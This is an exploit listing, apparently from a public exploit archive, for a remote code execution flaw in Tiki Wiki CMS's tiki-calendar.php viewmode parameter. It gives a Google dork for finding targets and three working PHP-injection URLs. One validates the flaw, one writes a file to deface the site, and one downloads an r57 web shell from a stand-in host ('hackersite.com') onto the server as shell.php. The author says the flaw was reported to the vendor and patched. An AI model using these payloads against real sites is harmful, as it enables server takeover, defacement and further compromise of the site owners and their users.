Tiki Wiki CMS Calendar 6.15/9.11 LTS/12.5 LTS/14.2 - Remote Code Execution

# Exploit Title: Tiki-Calendar-RCE
# Google Dork: inurl:tiki-calendar.php
# Date: 2015-12-16
# Exploit Author: Dany Ouellet
# Vendor Homepage: https://tiki.org/article414-Important-Security-Fix-for-all-versions-of-Tiki
# Software Link: https://tiki.org/Download
# Version: ALL supported versions of Tiki (14.2, 12.5 LTS, 9.11 LTS and 6.15)(if not patched)
# Tested on: Windows and Linux

Hi, I recently discover an important flaw in CMS Tiki-Wiki. I reported the
vulnerability directly to vendor and a patch is now avalaible. So I release
the exploit. ;)

PoC:

Validate the vulnerability:

http://victimesite/tiki-calendar.php?viewmode=';print(TikiWikiRCE);$a='

Write or deface the site:

http://victimesite/tiki-calendar.php?viewmode=%27;%20$z=fopen(%22index6.php%22,%27w%27);%20fwrite($z,(%22TikiWikiRCE%22));fclose($z);$a=%27

Execute a php shellcode:

http://victimesite/tiki-calendar.php?viewmode=%27;%20$z=fopen%28%22shell.php%22,%27w%27%29;fwrite%28$z,file_get_contents%28%22http://hackersite.com/r57.txt%22%29%29;fclose%28$z%29;%27